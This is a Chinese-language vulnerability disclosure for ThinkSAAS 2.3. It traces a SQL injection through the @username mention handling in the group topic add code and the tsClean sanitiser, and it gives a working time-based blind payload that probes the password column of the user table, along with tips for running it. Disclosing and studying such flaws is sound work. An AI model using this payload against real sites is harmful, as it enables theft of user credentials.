### 简要描述:
ThinkSAAS 2.3 SQL注入
### 详细说明:
app/group/action/add.php
172-197行
```
// 处理@用户名
if (preg_match_all ( '/@/', $content, $at )) {
echo $content;
preg_match_all ( "/@(.+?)([\s|:]|$)/is", $content, $matches );
$unames = $matches [1];
$ns = "'" . implode ( "','", $unames ) . "'";
$csql = "username IN($ns)";
if ($unames) {
$query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" );
foreach ( $query as $v ) {
$content = str_replace ( '@' . $v ['username'] . '', '[@' . $v ['username'] . ':' . $v ['userid'] . ']', $content );
$msg_content = '我在帖子中提到了你<br />去看看:' . tsUrl ( 'group', 'topic', array (
'id' => $topicid
) );
aac ( 'message' )->sendmsg ( $userid, $v ['userid'], $msg_content );
}
$new ['group']->update ( 'group_topic', array (
'topicid' => $topicid
), array (
'content' => $content
) );
}
}
```
正则匹配出$content中的用户名,然后执行sql语句
```
$query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" );
```
看看$content怎么来的
```
$content = tsClean( $_POST ['content'] );
```
跟入tsclean函数
```
function tsClean($text) {
$text = stripslashes(trim($text));
//去除前后空格,并去除反斜杠
//$text = br2nl($text); //将br转换成/n
///////XSS start
require_once 'thinksaas/xsshtml.class.php';
$xss = new XssHtml($text);
$text = $xss -> getHtml();
//$text = substr ($text, 4);//去除左边<p>标签
//$text = substr ($text, 0,-5);//去除右边</p>标签
///////XSS end
//$text = html_entity_decode($text,ENT_NOQUOTES,"utf-8");//把 HTML 实体转换为字符
//$text = strip_tags($text); //去掉HTML及PHP标记
//$text = cleanJs ( $text );
$text = htmlentities($text, ENT_NOQUOTES, "utf-8");
//把字符转换为 HTML 实体
return $text;
}
```
可以看到去掉了反斜杠,也就是把全局的反斜杠去掉了,于是这里造成一个注入。
### 漏洞证明:
然后是演示,为了方便演示,我把sql语句打印出来。
因为涉及到token的问题,先访问
http://127.0.0.1/index.php?app=article&ac=add
提交文章的时候抓包,获取到token
因为没有找到回显的地方,这里采取时间盲注。
[<img src="https://images.seebug.org/upload/201501/15132429e33a3a78acee23af2db8409c8ac05a93.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/15132429e33a3a78acee23af2db8409c8ac05a93.png)
因为空格是正则匹配的分隔符,所以不能用空格这里采用/**/代替空格。
成功延时。
[<img src="https://images.seebug.org/upload/201501/151335574f67b32f67a6eeae0c4dc183f8ccba5f.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/151335574f67b32f67a6eeae0c4dc183f8ccba5f.png)
content为
```
123@12')/**/or/**/if(((select/**/length((select/**/pwd/**/from/**/ts_user/**/limit/**/1)))=32),sleep(2),0)#3:
```
可以查数据
几个比较坑的地方提一下,
因为每次都是先插入文章名,然后再执行注入,所以说要每次输入不同的title(当然,写脚本随机数一下就好了)。
还有就是因为被html实体化过了,不能输入大于小于号,所以只能用“=”慢慢匹配。
当然这并不影响注入。
剩下的就交给你们啦~
暂无评论